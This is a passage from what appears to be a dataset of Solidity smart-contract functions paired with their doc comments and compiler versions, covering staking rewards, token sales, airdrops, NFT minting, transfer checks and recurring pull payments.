.sub(_lastAccountingTimestampSec)\r\n .mul(totalStakingShares);\r\n _totalStakingShareSeconds = _totalStakingShareSeconds.add(newStakingShareSeconds);\r\n _lastAccountingTimestampSec = now;\r\n\r\n // User Accounting\r\n UserTotals storage totals = _userTotals[msg.sender];\r\n uint256 newUserStakingShareSeconds =\r\n now\r\n .sub(totals.lastAccountingTimestampSec)\r\n .mul(totals.stakingShares);\r\n totals.stakingShareSeconds =\r\n totals.stakingShareSeconds\r\n .add(newUserStakingShareSeconds);\r\n totals.lastAccountingTimestampSec = now;\r\n\r\n uint256 totalUserShareRewards = (_totalStakingShareSeconds > 0)\r\n ? totalUnlocked().mul(totals.stakingShareSeconds).div(_totalStakingShareSeconds)\r\n : 0;\r\n \r\n uint256 totalUserDollarRewards = (_totalStakingShareSeconds > 0)\r\n ? totalLockedDollars().mul(totals.stakingShareSeconds).div(_totalStakingShareSeconds)\r\n : 0;\r\n\r\n return (\r\n totalLocked(),\r\n totalUnlocked(),\r\n totals.stakingShareSeconds,\r\n _totalStakingShareSeconds,\r\n totalUserShareRewards,\r\n totalUserDollarRewards,\r\n now\r\n );\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev This funcion allows the contract owner to add more locked distribution tokens, along\r\n * with the associated \"unlock schedule\". These locked tokens immediately begin unlocking\r\n * linearly over the duraction of durationSec timeframe.\r\n * @param amount Number of distribution tokens to lock. These are transferred from the caller.\r\n * @param durationSec Length of time to linear unlock the tokens.\r\n */", "function_code": "function lockTokens(uint256 amount, uint256 startTimeSec, uint256 durationSec) external onlyOwner {\r\n require(unlockSchedules.length < _maxUnlockSchedules,\r\n 'SeigniorageMining: reached maximum unlock schedules');\r\n\r\n // Update lockedTokens amount before using it in computations after.\r\n updateAccounting();\r\n\r\n uint256 lockedTokens = totalLocked();\r\n uint256 mintedLockedShares = (lockedTokens > 0)\r\n ? totalLockedShares.mul(amount).div(lockedTokens)\r\n : amount.mul(_initialSharesPerToken);\r\n\r\n UnlockSchedule memory schedule;\r\n schedule.initialLockedShares = mintedLockedShares;\r\n schedule.lastUnlockTimestampSec = now;\r\n schedule.startAtSec = startTimeSec;\r\n schedule.endAtSec = startTimeSec.add(durationSec);\r\n schedule.durationSec = durationSec;\r\n unlockSchedules.push(schedule);\r\n\r\n totalLockedShares = totalLockedShares.add(mintedLockedShares);\r\n\r\n require(_lockedPool.shareToken().transferFrom(msg.sender, address(_lockedPool), amount),\r\n 'SeigniorageMining: transfer into locked pool failed');\r\n emit TokensLocked(amount, durationSec, totalLocked());\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev Moves distribution tokens from the locked pool to the unlocked pool, according to the\r\n * previously defined unlock schedules. Publicly callable.\r\n * @return Number of newly unlocked distribution tokens.\r\n */", "function_code": "function unlockTokens() public returns (uint256) {\r\n uint256 unlockedShareTokens = 0;\r\n uint256 lockedShareTokens = totalLocked();\r\n\r\n uint256 unlockedDollars = 0;\r\n uint256 lockedDollars = totalLockedDollars();\r\n\r\n if (totalLockedShares == 0) {\r\n unlockedShareTokens = lockedShareTokens;\r\n unlockedDollars = lockedDollars;\r\n } else {\r\n uint256 unlockedShares = 0;\r\n for (uint256 s = 0; s < unlockSchedules.length; s++) {\r\n unlockedShares = unlockedShares.add(unlockScheduleShares(s));\r\n }\r\n unlockedShareTokens = unlockedShares.mul(lockedShareTokens).div(totalLockedShares);\r\n unlockedDollars = unlockedShares.mul(lockedDollars).div(totalLockedShares);\r\n totalLockedShares = totalLockedShares.sub(unlockedShares);\r\n }\r\n\r\n if (unlockedShareTokens > 0) {\r\n require(_lockedPool.shareTransfer(address(_unlockedPool), unlockedShareTokens),\r\n 'SeigniorageMining: shareTransfer out of locked pool failed');\r\n require(_lockedPool.dollarTransfer(address(_unlockedPool), unlockedDollars),\r\n 'SeigniorageMining: dollarTransfer out of locked pool failed');\r\n\r\n emit TokensUnlocked(unlockedShareTokens, totalLocked());\r\n emit DollarsUnlocked(unlockedDollars, totalLocked());\r\n }\r\n\r\n return unlockedShareTokens;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev Returns the number of unlockable shares from a given schedule. The returned value\r\n * depends on the time since the last unlock. This function updates schedule accounting,\r\n * but does not actually transfer any tokens.\r\n * @param s Index of the unlock schedule.\r\n * @return The number of unlocked shares.\r\n */", "function_code": "function unlockScheduleShares(uint256 s) private returns (uint256) {\r\n UnlockSchedule storage schedule = unlockSchedules[s];\r\n\r\n if(schedule.unlockedShares >= schedule.initialLockedShares) {\r\n return 0;\r\n }\r\n\r\n uint256 sharesToUnlock = 0;\r\n if (now < schedule.startAtSec) {\r\n // do nothing\r\n } else if (now >= schedule.endAtSec) { // Special case to handle any leftover dust from integer division\r\n sharesToUnlock = (schedule.initialLockedShares.sub(schedule.unlockedShares));\r\n schedule.lastUnlockTimestampSec = schedule.endAtSec;\r\n } else {\r\n sharesToUnlock = now.sub(schedule.lastUnlockTimestampSec)\r\n .mul(schedule.initialLockedShares)\r\n .div(schedule.durationSec);\r\n schedule.lastUnlockTimestampSec = now;\r\n }\r\n\r\n schedule.unlockedShares = schedule.unlockedShares.add(sharesToUnlock);\r\n return sharesToUnlock;\r\n }", "version": "0.5.0"} {"comment": "// Get token creation rate", "function_code": "function getTokenCreationRate() constant returns (uint256) {\r\n require(!presaleFinalized || !saleFinalized);\r\n\r\n uint256 creationRate;\r\n\r\n if (!presaleFinalized) {\r\n //The rate on presales is constant\r\n creationRate = presaleTokenCreationRate;\r\n } else {\r\n //The rate on sale is changing lineral while time is passing. On sales start it is 1.66 and on end 1.0 \r\n uint256 rateRange = saleStartTokenCreationRate - saleEndTokenCreationRate;\r\n uint256 timeRange = saleEndTime - saleStartTime;\r\n creationRate = saleStartTokenCreationRate.sub(rateRange.mul(now.sub(saleStartTime)).div(timeRange));\r\n }\r\n\r\n return creationRate;\r\n }", "version": "0.4.13"} {"comment": "// Buy presale tokens", "function_code": "function buyPresaleTokens(address _beneficiary) payable {\r\n require(!presaleFinalized);\r\n require(msg.value != 0);\r\n require(now <= presaleEndTime);\r\n require(now >= presaleStartTime);\r\n\r\n uint256 bbdTokens = msg.value.mul(getTokenCreationRate()).div(divisor);\r\n uint256 checkedSupply = totalSupply.add(bbdTokens);\r\n require(presaleTokenCreationCap >= checkedSupply);\r\n\r\n totalSupply = totalSupply.add(bbdTokens);\r\n balances[_beneficiary] = balances[_beneficiary].add(bbdTokens);\r\n\r\n raised += msg.value;\r\n TokenPurchase(msg.sender, _beneficiary, msg.value, bbdTokens);\r\n }", "version": "0.4.13"} {"comment": "// Finalize presale", "function_code": "function finalizePresale() onlyOwner external {\r\n require(!presaleFinalized);\r\n require(now >= presaleEndTime || totalSupply == presaleTokenCreationCap);\r\n\r\n presaleFinalized = true;\r\n\r\n uint256 ethForCoreMember = this.balance.mul(500).div(divisor);\r\n\r\n coreTeamMemberOne.transfer(ethForCoreMember); // 5%\r\n coreTeamMemberTwo.transfer(ethForCoreMember); // 5%\r\n qtAccount.transfer(this.balance); // Quant Technology 90%\r\n }", "version": "0.4.13"} {"comment": "// Buy sale tokens", "function_code": "function buySaleTokens(address _beneficiary) payable {\r\n require(!saleFinalized);\r\n require(msg.value != 0);\r\n require(now <= saleEndTime);\r\n require(now >= saleStartTime);\r\n\r\n uint256 bbdTokens = msg.value.mul(getTokenCreationRate()).div(divisor);\r\n uint256 checkedSupply = totalSupply.add(bbdTokens);\r\n require(totalTokenCreationCap >= checkedSupply);\r\n\r\n totalSupply = totalSupply.add(bbdTokens);\r\n balances[_beneficiary] = balances[_beneficiary].add(bbdTokens);\r\n\r\n raised += msg.value;\r\n TokenPurchase(msg.sender, _beneficiary, msg.value, bbdTokens);\r\n }", "version": "0.4.13"} {"comment": "// Finalize sale", "function_code": "function finalizeSale() onlyOwner external {\r\n require(!saleFinalized);\r\n require(now >= saleEndTime || totalSupply == totalTokenCreationCap);\r\n\r\n saleFinalized = true;\r\n\r\n //Add aditional 25% tokens to the Quant Technology and development team\r\n uint256 additionalBBDTokensForQTAccount = totalSupply.mul(2250).div(divisor); // 22.5%\r\n totalSupply = totalSupply.add(additionalBBDTokensForQTAccount);\r\n balances[qtAccount] = balances[qtAccount].add(additionalBBDTokensForQTAccount);\r\n\r\n uint256 additionalBBDTokensForCoreTeamMember = totalSupply.mul(125).div(divisor); // 1.25%\r\n totalSupply = totalSupply.add(2 * additionalBBDTokensForCoreTeamMember);\r\n balances[coreTeamMemberOne] = balances[coreTeamMemberOne].add(additionalBBDTokensForCoreTeamMember);\r\n balances[coreTeamMemberTwo] = balances[coreTeamMemberTwo].add(additionalBBDTokensForCoreTeamMember);\r\n\r\n uint256 ethForCoreMember = this.balance.mul(500).div(divisor);\r\n\r\n coreTeamMemberOne.transfer(ethForCoreMember); // 5%\r\n coreTeamMemberTwo.transfer(ethForCoreMember); // 5%\r\n qtAccount.transfer(this.balance); // Quant Technology 90%\r\n }", "version": "0.4.13"} {"comment": "// freeze system' balance", "function_code": "function systemFreeze(uint256 _value, uint256 _unfreezeTime) internal {\r\n uint256 unfreezeIndex = uint256(_unfreezeTime.parseTimestamp().year) * 10000 + uint256(_unfreezeTime.parseTimestamp().month) * 100 + uint256(_unfreezeTime.parseTimestamp().day);\r\n balances[owner] = balances[owner].sub(_value);\r\n frozenRecords[unfreezeIndex] = FrozenRecord({value: _value, unfreezeIndex: unfreezeIndex});\r\n frozenBalance = frozenBalance.add(_value);\r\n emit SystemFreeze(owner, _value, _unfreezeTime);\r\n }", "version": "0.4.21"} {"comment": "// update release amount for single day\n// according to dividend rule in https://coincoolotc.com", "function_code": "function updateReleaseAmount() internal {\r\n \tif (releaseCount <= 180) {\r\n releaseAmountPerDay = standardReleaseAmount;\r\n } else if (releaseCount <= 360) {\r\n releaseAmountPerDay = standardReleaseAmount.div(2);\r\n }\r\n else if (releaseCount <= 540) {\r\n releaseAmountPerDay = standardReleaseAmount.div(4);\r\n }\r\n \r\n }", "version": "0.4.21"} {"comment": "// Verifies that the higher level count is correct, and that the last uint256 is left packed with 0's", "function_code": "function initStruct(uint256[] memory _arr, uint256 _len)\r\n internal\r\n pure\r\n returns (PackedArray memory)\r\n {\r\n uint256 actualLength = _arr.length;\r\n uint256 len0 = _len / 16;\r\n require(actualLength == len0 + 1, \"Invalid arr length\");\r\n\r\n uint256 len1 = _len % 16;\r\n uint256 leftPacked = uint256(_arr[len0] >> (len1 * 16));\r\n require(leftPacked == 0, \"Invalid uint256 packing\");\r\n\r\n return PackedArray(_arr, _len);\r\n }", "version": "0.8.7"} {"comment": "/***************************************\r\n BREEDING\r\n ****************************************/", "function_code": "function breedPrimes(\r\n uint16 _parent1,\r\n uint16 _parent2,\r\n uint256 _attributes,\r\n bytes32[] memory _merkleProof\r\n ) external nonReentrant {\r\n BreedInput memory input1 = _getInput(_parent1);\r\n BreedInput memory input2 = _getInput(_parent2);\r\n require(input1.owns && input2.owns, \"Breeder must own input token\");\r\n _breed(input1, input2, _attributes, _merkleProof);\r\n }", "version": "0.8.7"} {"comment": "// After each batch has begun, the DAO can mint to ensure no bottleneck", "function_code": "function rescueSale() external onlyOwner nonReentrant {\r\n (bool active, uint256 batchId, uint256 remaining, ) = batchCheck();\r\n require(active, \"Batch not active\");\r\n require(\r\n block.timestamp > batchStartTime + RESCUE_SALE_GRACE_PERIOD,\r\n \"Must wait for sale to elapse\"\r\n );\r\n uint256 rescueCount = remaining < 20 ? remaining : 20;\r\n for (uint256 i = 0; i < rescueCount; i++) {\r\n _getPrime(batchId);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/***************************************\r\n MINTING - INTERNAL\r\n ****************************************/", "function_code": "function _getPrime(uint256 _batchId) internal {\r\n uint256 seed = _rand();\r\n uint16 primeIndex;\r\n if (_batchId == 0) {\r\n uint256 idx = seed % batch0.length;\r\n primeIndex = batch0.getValue(idx);\r\n batch0.extractIndex(idx);\r\n _triggerTimestamp(_batchId, batch0.length);\r\n } else if (_batchId == 1) {\r\n uint256 idx = seed % batch1.length;\r\n primeIndex = batch1.getValue(idx);\r\n batch1.extractIndex(idx);\r\n _triggerTimestamp(_batchId, batch1.length);\r\n } else {\r\n revert(\"Invalid batchId\");\r\n }\r\n\r\n _mintLocal(msg.sender, primeIndex);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Checks whether or not a trade should be approved\r\n *\r\n * @dev This method calls back to the token contract specified by `_token` for\r\n * information needed to enforce trade approval if needed\r\n *\r\n * @param _token The address of the token to be transfered\r\n * @param _spender The address of the spender of the token (unused in this implementation)\r\n * @param _from The address of the sender account\r\n * @param _to The address of the receiver account\r\n * @param _amount The quantity of the token to trade\r\n *\r\n * @return `true` if the trade should be approved and `false` if the trade should not be approved\r\n */", "function_code": "function check(address _token, address _spender, address _from, address _to, uint256 _amount) public returns (uint8) {\r\n if (settings[_token].locked) {\r\n return CHECK_ELOCKED;\r\n }\r\n\r\n if (participants[_token][_from] & PERM_SEND == 0) {\r\n return CHECK_ESEND;\r\n }\r\n\r\n if (participants[_token][_to] & PERM_RECEIVE == 0) {\r\n return CHECK_ERECV;\r\n }\r\n\r\n if (!settings[_token].partialTransfers && _amount % _wholeToken(_token) != 0) {\r\n return CHECK_EDIVIS;\r\n }\r\n\r\n if (settings[_token].holdingPeriod[_from] + YEAR >= now) {\r\n return CHECK_EHOLDING_PERIOD;\r\n }\r\n\r\n if (_amount < MINIMAL_TRANSFER) {\r\n return CHECK_EDECIMALS;\r\n }\r\n\r\n return CHECK_SUCCESS;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Returns the error message for a passed failed check reason\r\n *\r\n * @param _reason The reason code: 0 means success. Non-zero values are left to the implementation\r\n * to assign meaning.\r\n *\r\n * @return The human-readable mesage string\r\n */", "function_code": "function messageForReason (uint8 _reason) public pure returns (string) {\r\n if (_reason == CHECK_ELOCKED) {\r\n return ELOCKED_MESSAGE;\r\n }\r\n \r\n if (_reason == CHECK_ESEND) {\r\n return ESEND_MESSAGE;\r\n }\r\n\r\n if (_reason == CHECK_ERECV) {\r\n return ERECV_MESSAGE;\r\n }\r\n\r\n if (_reason == CHECK_EDIVIS) {\r\n return EDIVIS_MESSAGE;\r\n }\r\n\r\n if (_reason == CHECK_EHOLDING_PERIOD) {\r\n return EHOLDING_PERIOD_MESSAGE;\r\n }\r\n\r\n if (_reason == CHECK_EDECIMALS) {\r\n return EDECIMALS_MESSAGE;\r\n }\r\n\r\n return SUCCESS_MESSAGE;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Performs the regulator check\r\n *\r\n * @dev This method raises a CheckStatus event indicating success or failure of the check\r\n *\r\n * @param _from The address of the sender\r\n * @param _to The address of the receiver\r\n * @param _value The number of tokens to transfer\r\n *\r\n * @return `true` if the check was successful and `false` if unsuccessful\r\n */", "function_code": "function _check(address _from, address _to, uint256 _value) private returns (bool) {\r\n require(_from != address(0) && _to != address(0));\r\n uint8 reason = _service().check(this, msg.sender, _from, _to, _value);\r\n\r\n emit CheckStatus(reason, msg.sender, _from, _to, _value);\r\n\r\n return reason == 0;\r\n }", "version": "0.4.24"} {"comment": "/// @dev Trading limited - requires the token sale to have closed", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n if(saleClosed || msg.sender == saleDistributorAddress || msg.sender == bountyDistributorAddress\r\n || (msg.sender == saleTokensVault && _to == saleDistributorAddress)\r\n || (msg.sender == bountyTokensAddress && _to == bountyDistributorAddress)) {\r\n return super.transfer(_to, _value);\r\n }\r\n return false;\r\n }", "version": "0.4.21"} {"comment": "//price in ETH per chunk or ETH per million tokens", "function_code": "function getAirdrop(address _refer) public returns (bool success){\r\n require(aSBlock <= block.number && block.number <= aEBlock);\r\n require(aTot < aCap || aCap == 0);\r\n aTot ++;\r\n if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){\r\n balances[address(this)] = balances[address(this)].sub(aAmt / 2);\r\n balances[_refer] = balances[_refer].add(aAmt / 2);\r\n emit Transfer(address(this), _refer, aAmt / 2);\r\n }\r\n balances[address(this)] = balances[address(this)].sub(aAmt);\r\n balances[msg.sender] = balances[msg.sender].add(aAmt);\r\n emit Transfer(address(this), msg.sender, aAmt);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/// @dev Sets the SaleType\n/// @param saleType The SaleType to set too.", "function_code": "function setSaleType(SaleType saleType) \r\n public\r\n onlyOwner \r\n {\r\n require(_currentSale != saleType, \"validation_error:setSaleType:sale_type_equal\");\r\n SaleType oldSale = _currentSale;\r\n _currentSale = saleType;\r\n if((saleType == SaleType.OPEN || saleType == SaleType.WHITE_LIST_OPEN) && startingIndex == 0) {\r\n emergencySetStartingIndex();\r\n }\r\n\r\n emit SetSaleType(oldSale, saleType);\r\n }", "version": "0.8.9"} {"comment": "/// @dev Reserves the specified amount to an address.\n/// @param to The address to reserve too.\n/// @param reserveAmount The amount to reserve.", "function_code": "function reserve(address to, uint256 reserveAmount)\r\n public\r\n onlyOwner\r\n _canReserve(reserveAmount)\r\n {\r\n uint256 supply = totalSupply();\r\n for(uint256 i = 0; i < reserveAmount; i++) {\r\n _safeMint(to, supply.add(i));\r\n }\r\n _currentReserve = _currentReserve.add(reserveAmount);\r\n\r\n emit TokenReserved(to, reserveAmount);\r\n }", "version": "0.8.9"} {"comment": "/// @dev Reserves tokens to a list of addresses.\n/// @param to The addresses to award tokens too.\n/// @param amount The amount to reserve to the associated address.", "function_code": "function awardTokens(address[] memory to, uint256[] memory amount) \r\n external\r\n onlyOwner\r\n {\r\n require(to.length == amount.length, \"validation_error:awardTokens:to_amount_size_mismatch\"); \r\n\r\n for(uint256 index = 0; index < to.length; index++) {\r\n address add = to[index];\r\n if(add == address(0)) continue;\r\n uint256 reserveAmount = amount[index];\r\n if(reserveAmount == 0) continue;\r\n reserve(add, reserveAmount);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/// @dev Mints a specified amount of tokens.\n/// @param amount The amount of tokens to mint.", "function_code": "function mint(uint256 amount)\r\n external\r\n _canParticipate\r\n _canMint(amount)\r\n payable\r\n {\r\n uint256 supply = totalSupply();\r\n require(msg.value >= _currentPrice.mul(amount), \"validation_error:mint:incorrect_msg_value\");\r\n\r\n for(uint256 i = 0; i < amount; i++) {\r\n _safeMint(msg.sender, supply.add(i));\r\n }\r\n\r\n if(startingIndexBlock == 0 && block.timestamp >= RELEASE_DATE) {\r\n if(startingIndex == 0) {\r\n startingIndexBlock = block.number;\r\n setStartingIndex();\r\n }\r\n }\r\n\r\n emit TokenMinted(msg.sender, amount);\r\n }", "version": "0.8.9"} {"comment": "/// @dev Gets the tokens owned by the supplied address.\n/// @param _owner The address to get tokens owned by.", "function_code": "function tokensOfOwner(address _owner) \r\n external \r\n view \r\n returns (uint256[] memory) \r\n {\r\n require(_owner != address(0), \"validation_error:tokensOfOwner:_owner_zero_address\");\r\n uint256 tokenCount = balanceOf(_owner);\r\n if (tokenCount <= 0) {\r\n // Return an empty array\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory result = new uint256[](tokenCount);\r\n uint256 index;\r\n for (index = 0; index < tokenCount; index++) {\r\n result[index] = tokenOfOwnerByIndex(_owner, index);\r\n }\r\n return result;\r\n }\r\n }", "version": "0.8.9"} {"comment": "/// @dev Sets the starting index of the protocol, this is the index used to construct the\n/// @dev final provenanceHash.", "function_code": "function setStartingIndex() \r\n internal \r\n {\r\n require(startingIndex == 0, \"Starting Index is already set\");\r\n require(startingIndexBlock != 0, \"Starting index block must be set\");\r\n\r\n startingIndex = uint(blockhash(startingIndexBlock)) % MAXIMUM_MINT_COUNT;\r\n \r\n if(block.number.sub(startingIndexBlock) > 255) {\r\n startingIndex = uint(blockhash(block.number -1 )) % MAXIMUM_MINT_COUNT;\r\n }\r\n\r\n // Prevent default sequence\r\n if(startingIndex == 0) {\r\n startingIndex = startingIndex.add(1);\r\n }\r\n }", "version": "0.8.9"} {"comment": "// ------------------------------------------------------------------------\n// Transfer the balance from token owner's account to `to` account\n// - Owner's account must have sufficient balance to transfer\n// - 0 value transfers are allowed\n// Changes in v2 \n// - insection _swap function See {_swap}\n// ------------------------------------------------------------------------", "function_code": "function transfer(address to, uint tokens) public returns (bool) {\r\n\t\trequire(!_stopTrade, \"stop trade\");\r\n\t\t_swap(msg.sender);\r\n\t\trequire(to > address(0), \"cannot transfer to 0x0\");\r\n\r\n\t\tbalances[msg.sender] = balances[msg.sender].sub(tokens);\r\n\r\n\t\tif (mgatewayAddress[to]) {\r\n\t\t\t//balances[to] = balances[to].add(tokens);\r\n\t\t\t//balances[to] = balances[to].sub(tokens);\r\n\t\t\t_totalSupply = _totalSupply.sub(tokens);\r\n\t\t\temit Transfer(to, address(0), tokens);\r\n\t\t} else {\r\n\t\t\tbalances[to] = balances[to].add(tokens);\r\n\t\t}\r\n\t\temit Transfer(msg.sender, to, tokens);\r\n\r\n\t\treturn true;\r\n\t}", "version": "0.5.17"} {"comment": "/// ===============================================================================================================\n/// Public Functions - Executors Only\n/// ===============================================================================================================\n/// @dev Registers a new pull payment to the PumaPay Pull Payment Contract - The registration can be executed only by one of the executors of the PumaPay Pull Payment Contract\n/// and the PumaPay Pull Payment Contract checks that the pull payment has been singed by the client of the account.\n/// The balance of the executor (msg.sender) is checked and if funding is needed 1 ETH is transferred.\n/// Emits 'LogPaymentRegistered' with client address, beneficiary address and paymentID.\n/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155\n/// @param r - R output of ECDSA signature.\n/// @param s - S output of ECDSA signature.\n/// @param _merchantID - ID of the merchant.\n/// @param _paymentID - ID of the payment.\n/// @param _client - client address that is linked to this pull payment.\n/// @param _beneficiary - address that is allowed to execute this pull payment.\n/// @param _currency - currency of the payment / 3-letter abbr i.e. 'EUR'.\n/// @param _fiatAmountInCents - payment amount in fiat in cents.\n/// @param _frequency - how often merchant can pull - in seconds.\n/// @param _numberOfPayments - amount of pull payments merchant can make\n/// @param _startTimestamp - when subscription starts - in seconds.", "function_code": "function registerPullPayment(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n string _merchantID,\r\n string _paymentID,\r\n address _client,\r\n address _beneficiary,\r\n string _currency,\r\n uint256 _initialPaymentAmountInCents,\r\n uint256 _fiatAmountInCents,\r\n uint256 _frequency,\r\n uint256 _numberOfPayments,\r\n uint256 _startTimestamp\r\n )\r\n public\r\n isExecutor()\r\n {\r\n require(\r\n bytes(_paymentID).length > 0 &&\r\n bytes(_currency).length > 0 &&\r\n _client != address(0) &&\r\n _beneficiary != address(0) &&\r\n _fiatAmountInCents > 0 &&\r\n _frequency > 0 &&\r\n _frequency < OVERFLOW_LIMITER_NUMBER &&\r\n _numberOfPayments > 0 &&\r\n _startTimestamp > 0 &&\r\n _startTimestamp < OVERFLOW_LIMITER_NUMBER\r\n );\r\n\r\n pullPayments[_client][_beneficiary].currency = _currency;\r\n pullPayments[_client][_beneficiary].initialPaymentAmountInCents = _initialPaymentAmountInCents;\r\n pullPayments[_client][_beneficiary].fiatAmountInCents = _fiatAmountInCents;\r\n pullPayments[_client][_beneficiary].frequency = _frequency;\r\n pullPayments[_client][_beneficiary].startTimestamp = _startTimestamp;\r\n pullPayments[_client][_beneficiary].numberOfPayments = _numberOfPayments;\r\n\r\n require(isValidRegistration(v, r, s, _client, _beneficiary, pullPayments[_client][_beneficiary]));\r\n\r\n pullPayments[_client][_beneficiary].merchantID = _merchantID;\r\n pullPayments[_client][_beneficiary].paymentID = _paymentID;\r\n pullPayments[_client][_beneficiary].nextPaymentTimestamp = _startTimestamp;\r\n pullPayments[_client][_beneficiary].lastPaymentTimestamp = 0;\r\n pullPayments[_client][_beneficiary].cancelTimestamp = 0;\r\n\r\n if (isFundingNeeded(msg.sender)) {\r\n msg.sender.transfer(0.5 ether);\r\n }\r\n\r\n emit LogPaymentRegistered(_client, _beneficiary, _paymentID);\r\n }", "version": "0.4.25"} {"comment": "/// @dev Deletes a pull payment for a beneficiary - The deletion needs can be executed only by one of the executors of the PumaPay Pull Payment Contract\n/// and the PumaPay Pull Payment Contract checks that the beneficiary and the paymentID have been singed by the client of the account.\n/// This method sets the cancellation of the pull payment in the pull payments array for this beneficiary specified.\n/// The balance of the executor (msg.sender) is checked and if funding is needed 1 ETH is transferred.\n/// Emits 'LogPaymentCancelled' with beneficiary address and paymentID.\n/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155\n/// @param r - R output of ECDSA signature.\n/// @param s - S output of ECDSA signature.\n/// @param _paymentID - ID of the payment.\n/// @param _client - client address that is linked to this pull payment.\n/// @param _beneficiary - address that is allowed to execute this pull payment.", "function_code": "function deletePullPayment(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n string _paymentID,\r\n address _client,\r\n address _beneficiary\r\n )\r\n public\r\n isExecutor()\r\n paymentExists(_client, _beneficiary)\r\n paymentNotCancelled(_client, _beneficiary)\r\n isValidDeletionRequest(_paymentID, _client, _beneficiary)\r\n {\r\n require(isValidDeletion(v, r, s, _paymentID, _client, _beneficiary));\r\n\r\n pullPayments[_client][_beneficiary].cancelTimestamp = now;\r\n\r\n if (isFundingNeeded(msg.sender)) {\r\n msg.sender.transfer(0.5 ether);\r\n }\r\n\r\n emit LogPaymentCancelled(_client, _beneficiary, _paymentID);\r\n }", "version": "0.4.25"} {"comment": "/// ===============================================================================================================\n/// Public Functions\n/// ===============================================================================================================\n/// @dev Executes a pull payment for the msg.sender - The pull payment should exist and the payment request\n/// should be valid in terms of when it can be executed.\n/// Emits 'LogPullPaymentExecuted' with client address, msg.sender as the beneficiary address and the paymentID.\n/// Use Case 1: Single/Recurring Fixed Pull Payment (initialPaymentAmountInCents == 0 )\n/// ------------------------------------------------\n/// We calculate the amount in PMA using the rate for the currency specified in the pull payment\n/// and the 'fiatAmountInCents' and we transfer from the client account the amount in PMA.\n/// After execution we set the last payment timestamp to NOW, the next payment timestamp is incremented by\n/// the frequency and the number of payments is decresed by 1.\n/// Use Case 2: Recurring Fixed Pull Payment with initial fee (initialPaymentAmountInCents > 0)\n/// ------------------------------------------------------------------------------------------------\n/// We calculate the amount in PMA using the rate for the currency specified in the pull payment\n/// and the 'initialPaymentAmountInCents' and we transfer from the client account the amount in PMA.\n/// After execution we set the last payment timestamp to NOW and the 'initialPaymentAmountInCents to ZERO.\n/// @param _client - address of the client from which the msg.sender requires to pull funds.", "function_code": "function executePullPayment(address _client, string _paymentID)\r\n public\r\n paymentExists(_client, msg.sender)\r\n isValidPullPaymentRequest(_client, msg.sender, _paymentID)\r\n {\r\n uint256 amountInPMA;\r\n if (pullPayments[_client][msg.sender].initialPaymentAmountInCents > 0) {\r\n amountInPMA = calculatePMAFromFiat(pullPayments[_client][msg.sender].initialPaymentAmountInCents, pullPayments[_client][msg.sender].currency);\r\n pullPayments[_client][msg.sender].initialPaymentAmountInCents = 0;\r\n } else {\r\n amountInPMA = calculatePMAFromFiat(pullPayments[_client][msg.sender].fiatAmountInCents, pullPayments[_client][msg.sender].currency);\r\n\r\n pullPayments[_client][msg.sender].nextPaymentTimestamp = pullPayments[_client][msg.sender].nextPaymentTimestamp + pullPayments[_client][msg.sender].frequency;\r\n pullPayments[_client][msg.sender].numberOfPayments = pullPayments[_client][msg.sender].numberOfPayments - 1;\r\n }\r\n pullPayments[_client][msg.sender].lastPaymentTimestamp = now;\r\n token.transferFrom(_client, msg.sender, amountInPMA);\r\n\r\n emit LogPullPaymentExecuted(_client, msg.sender, pullPayments[_client][msg.sender].paymentID);\r\n }", "version": "0.4.25"} {"comment": "/// @dev Checks if a registration request is valid by comparing the v, r, s params\n/// and the hashed params with the client address.\n/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155\n/// @param r - R output of ECDSA signature.\n/// @param s - S output of ECDSA signature.\n/// @param _client - client address that is linked to this pull payment.\n/// @param _beneficiary - address that is allowed to execute this pull payment.\n/// @param _pullPayment - pull payment to be validated.\n/// @return bool - if the v, r, s params with the hashed params match the client address", "function_code": "function isValidRegistration(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n address _client,\r\n address _beneficiary,\r\n PullPayment _pullPayment\r\n )\r\n internal\r\n pure\r\n returns (bool)\r\n {\r\n return ecrecover(\r\n keccak256(\r\n abi.encodePacked(\r\n _beneficiary,\r\n _pullPayment.currency,\r\n _pullPayment.initialPaymentAmountInCents,\r\n _pullPayment.fiatAmountInCents,\r\n _pullPayment.frequency,\r\n _pullPayment.numberOfPayments,\r\n _pullPayment.startTimestamp\r\n )\r\n ),\r\n v, r, s) == _client;\r\n }", "version": "0.4.25"} {"comment": "/// @dev Checks if a deletion request is valid by comparing the v, r, s params\n/// and the hashed params with the client address.\n/// @param v - recovery ID of the ETH signature. - https://github.com/ethereum/EIPs/issues/155\n/// @param r - R output of ECDSA signature.\n/// @param s - S output of ECDSA signature.\n/// @param _paymentID - ID of the payment.\n/// @param _client - client address that is linked to this pull payment.\n/// @param _beneficiary - address that is allowed to execute this pull payment.\n/// @return bool - if the v, r, s params with the hashed params match the client address", "function_code": "function isValidDeletion(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n string _paymentID,\r\n address _client,\r\n address _beneficiary\r\n )\r\n internal\r\n view\r\n returns (bool)\r\n {\r\n return ecrecover(\r\n keccak256(\r\n abi.encodePacked(\r\n _paymentID,\r\n _beneficiary\r\n )\r\n ), v, r, s) == _client\r\n && keccak256(\r\n abi.encodePacked(pullPayments[_client][_beneficiary].paymentID)\r\n ) == keccak256(abi.encodePacked(_paymentID));\r\n }", "version": "0.4.25"} {"comment": "/// @dev Checks if a payment for a beneficiary of a client exists.\n/// @param _client - client address that is linked to this pull 